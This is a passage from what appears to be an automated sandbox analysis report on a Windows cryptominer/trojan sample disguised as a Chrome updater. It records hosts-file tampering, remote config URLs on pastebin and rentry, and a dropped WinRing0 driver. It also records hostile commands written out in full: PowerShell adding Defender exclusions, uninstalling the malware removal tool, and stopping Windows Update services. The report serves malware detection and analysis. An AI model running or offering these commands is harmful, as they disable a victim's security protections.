              Source: Updater.exe, 00000022.00000003.2147361760.0000025C11A80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/vtH4ka4Q
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/vwepprbb/raw
              Source: explorer.exe, 0000003B.00000002.4492113616.0000000000BA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/vwepprbb/raw--cinit-stealth-targets=Taskmgr.exe
              Source: explorer.exe, 0000003B.00000002.4492983772.0000000001610000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/vwepprbb/rawkN
              Source: explorer.exe, 0000003B.00000003.2173261256.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.4492113616.0000000000C3F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/vwepprbb/rawtQ
              Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

              System Summary

              barindex
              Detected VMProtect packer
              Source: Updater.exe.0.drStatic PE information: .vmp0 and .vmp1 section names
              Uses powercfg.exe to modify the power settings
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Windows\System32\conhost.exeCode function: 58_2_0000000140001394 NtDisableLastKnownGood,58_2_0000000140001394
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\TEMP\xeorhgblkian.sysJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_luhllhsd.25z.ps1Jump to behavior
              Source: C:\Windows\System32\conhost.exeCode function: 58_2_000000014000325058_2_0000000140003250
              Source: C:\Windows\System32\conhost.exeCode function: 58_2_00000001400027D058_2_00000001400027D0
              Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\xeorhgblkian.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
              Source: xeorhgblkian.sys.34.drBinary string: \Device\WinRing0_1_2_0
              Source: classification engineClassification label: mal100.troj.adwa.spyw.evad.mine.winEXE@86/13@2/3
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6768:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6444:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3784:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3716:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6768:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2828:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4512:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:940:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5004:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2072:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2260:120:WilError_03
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5788:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6640:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4012:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3560:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3668:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1164:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5940:120:WilError_03
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ew2sy3ht.sga.ps1Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exeJump to behavior
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeReversingLabs: Detection: 68%
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe"
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
